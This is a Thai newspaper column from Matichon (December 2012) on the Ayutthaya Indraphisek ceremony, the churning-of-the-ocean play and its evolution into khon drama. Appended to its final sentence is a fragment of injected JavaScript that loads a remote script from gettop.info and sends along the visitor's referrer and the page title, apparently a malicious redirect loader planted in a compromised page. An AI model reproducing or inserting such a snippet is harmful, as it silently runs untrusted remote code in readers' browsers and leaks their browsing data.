Download PDF

มติชนรายวัน ฉบับประจำวันพุธที่ 5 ธันวาคม 2555

 

          อินทราภิเษก คือพระราชพิธีเกี่ยวกับความเป็นพระจักรพรรดิราช

          โดยมีการละเล่นกวนเกษียรสมุทรตามคติฮินดูในศาสนาพราหมณ์ เพื่อสถาปนาพระอินทร์ให้กลับคืนอีกครั้งเป็นพระราชาแห่งทวยเทพเหนือจอมเขาพระสุเมรุ

          ถือเป็นสัญลักษณ์ของพิธีอภิเษกพระจักรพรรดิราชให้ปกครองโลก

          การละเล่นกวนเกษียรสมุทร นานเข้าก็มีพัฒนาการเป็นโขน

          บ้านเมืองและรัฐที่เน้นยกย่องพุทธศาสนา มักรับพิธีกรรมของศาสนาพราหมณ์ เข้ามาปรุงแต่งให้เป็นพระราชพิธีที่ยอยกพระเกียรติยศพระเจ้าแผ่นดิน

          โดยเฉพาะพิธีกรรมเกี่ยวข้องกับพระอินทร์ ซึ่งทางศาสนาพุทธยกย่องเป็นราชาแห่งเทพ หรือจักรพรรดิราชแห่งสรวงสวรรค์ชั้นฟ้า เพื่อแสดงการเป็นจักรพรรดิราชของพระเจ้าแผ่นดิน จึงเรียกอินทราภิเษก

          พระราชพิธีอินทราภิเษกเป็นงานใหญ่ของยุคอยุธยา ต้องมีต่อเนื่อง มีมหรสพนานราว 1 เดือน แล้วกำหนดให้มีสิ่งสำคัญต่างๆ เช่น

          1. ตั้งเขาพระสุเมรุเป็นสัญลักษณ์พระอินทร์ 2. ตั้งเขาไกรลาสเป็นสัญลักษณ์พระอีศวร (พระศิวะ) 3. ที่ตีนเขาพระสุเมรุ ทำรูปพระนารายณ์บรรทมสินธุ์ 4. เล่นชักนาคดึกดำบรรพ์ คือกวนเกษียรสมุทร ฯลฯ

          พระราชพิธีอินทราภิเษก ซึ่งมีกวนเกษียรสมุทรตามคติฮินดูในศาสนาพราหมณ์ เคยมีในราชสำนักอาณาจักรกัมพูชา สืบเนื่องแพร่หลายนานมาแล้วก่อนยุคอยุธยา จึงมักพบบ่อยๆ เป็นภาพสลักหินกวนเกษียรสมุทรและนารายณ์บรรทมสินธุ์บนทับหลังเหนือกรอบประตูปราสาทหินในวัฒนธรรมขอม

          โดยเฉพาะที่ปราสาทนครวัด สลักภาพกวนเกษียรสมุทรขนาดมหึมาที่สุด เมื่อราว พ.ศ. 1650

          ราชสำนักอยุธยา สืบเนื่องจากราชสำนักอโยธยา-ละโว้ ซึ่งเป็นเครือญาติใกล้ชิดกับราชสำนักกัมพูชาที่นครวัด เมืองพระนคร จึงรับแบบแผนเข้ามา แล้วเรียกด้วยคำเพี้ยนจากเขมรว่า ดึกดำบรรพ์ หมายถึงกวนเกษียรสมุทร โดยใช้ลำตัวพญานาคเป็นเชือกชักกวน จึงเรียกอีกว่าชักนาคดึกดำบรรพ์

          การละเล่นชักนาคดึกดำบรรพ์ หรือกวนเกษียรสมุทรในพระราชพิธีอินทราภิเษก มีคนแต่งตัวใส่หน้ากากเป็นเทวดา, อสูร, วานร, ฯลฯ หลังจากนั้นก็มีพัฒนาการเป็นโขน เล่นสดุดีพระเจ้าแผ่นดินดุจนารายณ์อวตารมาปราบยุคเข็ญ

          แล้วละครก็รัดเครื่องโขนเล่นเรื่องรามเกียรติ์ จึงมีพระราชนิพนธ์บทละครเรื่องรามเกียรติ์เป็นพิธีกรรมอย่างหนึ่ง ตั้งแต่ยุคอยุธยา, ธนบุรี, สืบถึงรัตนโกสินทร์d.getElementsByTagName(‘head’)[0].appendChild(s);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;